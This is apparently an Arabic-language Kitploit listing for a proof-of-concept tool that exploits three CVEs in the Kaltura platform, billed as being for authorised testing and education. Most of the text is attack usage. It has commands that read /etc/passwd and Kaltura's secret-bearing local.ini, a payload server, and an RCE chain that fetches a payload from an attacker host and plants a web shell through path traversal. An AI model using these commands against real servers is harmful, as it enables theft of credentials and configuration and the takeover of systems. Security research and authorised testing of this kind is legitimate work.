CVE-2026-19912-CVE-2026-19913-CVE-2026-19914 — إثباتات مفهوم لاستغلالات CVE-2026-19912 وCVE-2026-19913 وCVE-2026-19914، توضح قراءة الملفات وتنفيذ الأكواد عن بُعد في Kaltura، مخصصة لاختبارات الأمان المصرح بها والأغراض التعليمية. | Kitploit

git clone <repository-url>
cd <repository-name>

# المشروع يستخدم Python، اتبع ما يلي

# إنشاء بيئة افتراضية
python -m venv venv

# تفعيل البيئة الافتراضية

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# تثبيت المتطلبات
pip install -r requirements.txt

# 1. قراءة الملف (الأكثر موثوقية، يعمل كما هو موضح في المقال)
python3 kaltura_poc.py fileread http://127.0.0.1 -f /etc/passwd
python3 kaltura_poc.py fileread http://127.0.0.1 \
    -f /opt/kaltura/app/configurations/local.ini --try-versions

# 2. خادم الحمولة فقط (استخدمه مع Burp / curl يدويًا)
python3 kaltura_poc.py serve --lport 8888

# 3. هيكل السلسلة الكاملة
python3 kaltura_poc.py rce http://127.0.0.1 \
    --lhost 172.17.0.1 --lport 8888 \
    --payload stdclass \
    --shell '../../../../../../../../var/www/html/shell.php'

CVE-2026-19912-CVE-2026-19913-CVE-2026-19914

الأكثر شعبية

ساعد في صيانة هذا المشروع

⚡ الاستخدام البسيط

الإشادة أو المرجع

📚 مستودع أبحاث أمنية تعليمية

⚠️ إخلاء المسؤولية الأمني والقانوني

الغرض

الاستخدام المصرح به فقط

عدم وجود مسؤولية

الاستخدام الأخلاقي

التواصل

مشروع ذو صلة